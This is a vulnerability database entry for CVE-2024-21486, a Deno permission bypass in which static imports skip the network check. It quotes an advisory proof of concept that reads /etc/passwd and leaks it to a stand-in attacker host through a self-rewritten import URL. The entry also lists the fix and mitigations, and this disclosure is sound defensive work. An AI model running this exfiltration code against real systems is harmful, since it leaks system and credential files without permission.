CVE-2024-21486
Deno Network Access Control Bypass via Static Imports
Description
### Summary Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network. ### Details Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`: 1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code. 2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file. ### PoC ```ts const __filename = new URL("", import.meta.url).pathname; let oldContent = await Deno.readTextFile(__filename); let passFile = await Deno.readTextFile("/etc/passwd"); let pre = 'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' + encodeURIComponent(passFile) + '";\n'; await Deno.writeTextFile(__filename, pre + oldContent); ``` Executing a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted. This vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access
INFO
Published Date :
June 5, 2025, 1:21 a.m.
Last Modified :
June 5, 2025, 1:21 a.m.
Remotely Exploit :
Yes !
Source :
github-security-advisories
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS 3.1 | MEDIUM | github |
Solution
- Restrict network access for static imports.
- Use the `--allow-import` flag for network access.
- Review and update import permissions.
- Apply vendor security patches.
References to Advisories, Solutions, and Tools
Here, you will find a curated list of external links that provide in-depth
information, practical solutions, and valuable tools related to
CVE-2024-21486.
| URL | Resource |
|---|---|
| https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5 | |
| https://github.com/advisories/GHSA-jv4x-jv3h-qff5 |
CWE - Common Weakness Enumeration
While CVE identifies
specific instances of vulnerabilities, CWE categorizes the common flaws or
weaknesses that can lead to vulnerabilities. CVE-2024-21486 is
associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification
(CAPEC)
stores attack patterns, which are descriptions of the common attributes and
approaches employed by adversaries to exploit the CVE-2024-21486
weaknesses.
We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).
Results are limited to the first 15 repositories due to potential performance issues.
The following list is the news that have been mention
CVE-2024-21486 vulnerability anywhere in the article.